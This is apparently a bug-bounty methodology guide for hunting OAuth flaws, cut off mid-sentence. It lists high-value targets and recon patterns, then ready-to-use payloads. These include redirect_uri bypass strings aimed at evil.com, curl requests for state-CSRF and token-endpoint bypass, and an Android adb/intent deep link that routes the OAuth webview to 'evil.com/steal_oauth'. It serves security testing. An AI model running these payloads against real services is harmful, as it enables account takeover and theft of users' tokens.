hunt-oauth

Crown Jewel Targets

OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.

Highest-value targets:

• Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
• Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
• Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
• Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
• Enterprise SSO connectors — critical infrastructure, high severity payouts

Asset types that pay most:

• OAuth authorization endpoints (/oauth/authorize, /connect/authorize)
• Token exchange endpoints (/oauth/token)
• Mobile deep link handlers (push_notification_webview, custom scheme URIs)
• Social login callback handlers (/auth/callback, /oauth/callback)

Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.

Attack Surface Signals

URL Patterns to Hunt

/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview

Response Headers That Signal OAuth

Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)

JavaScript Patterns (grep in JS bundles)

redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://

Tech Stack Signals

• Android apps with intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs
• Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
• Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
• .well-known/openid-configuration present = full OIDC surface available

Step-by-Step Hunting Methodology

1. Enumerate all OAuth entry points
2. Spider the app for /oauth, /connect, /auth, /login paths
3. Check .well-known/openid-configuration and .well-known/oauth-authorization-server
4. Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes

1. Map the full OAuth flow
2. Capture the authorization request: note client_id, redirect_uri, state, nonce, response_type
3. Capture the callback: note where tokens/codes land, what validates state/nonce

1. Test redirect_uri validation (highest yield)
2. Try exact host bypass: redirect_uri=https://legit.com.evil.com
3. Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
4. Try open redirects on the legitimate domain first, then chain into OAuth
5. Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
6. Try encoded characters: %2F, %40, %23 to confuse parsers

1. Test state parameter (CSRF)
2. Remove state entirely — does the flow complete?
3. Reuse a fixed state value across sessions
4. Check if state is validated server-side or only client-side

1. Test nonce parameter (replay/bypass)
2. Capture a nonce from one flow, attempt to replay it in another
3. Check if nonce is validated after token exchange
4. Test if nonce can be extracted via referrer leak (step 9)

1. Test authentication step completeness
2. For multi-step auth (e.g., email verification + OAuth): can you skip to /oauth/token directly?
3. Check if partial auth state (unverified email) is accepted by the token endpoint

1. Hunt referrer leakage
2. After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full Referer header
3. Look specifically at language switchers, analytics calls, social share buttons triggered post-auth

1. Test mobile deep links
2. For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
3. Check if deep link handlers validate the origin/host before loading
4. Test push_notification_webview patterns that accept arbitrary URLs

1. Test misconfigured client credentials
2. Check if client_secret appears in JS bundles or APK resources
3. Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret

1. Verify and document
2. Confirm state is not validated → CSRF to account link
3. Confirm token lands on attacker domain → session theft
4. Confirm email verification skippable → auth bypass
5. Run Gate 0 check before reporting

Payload & Detection Patterns

redirect_uri Bypass Payloads

# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com

State CSRF Test

# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE

Nonce Extraction via Referrer

# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
  -H "Referer: https://evil.com" \
  --max-redirs 0

# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html

Mobile Deep Link Exploit (Android)

# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>

Token Endpoint Auth Bypass

# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "username=unverified@evil.com" \
  -d "password=password123" \
  -d "client_id=CLIENT_ID"

Grep Patterns for Recon

# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .

# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header

# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool

Common Root Causes

1. Weak redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then be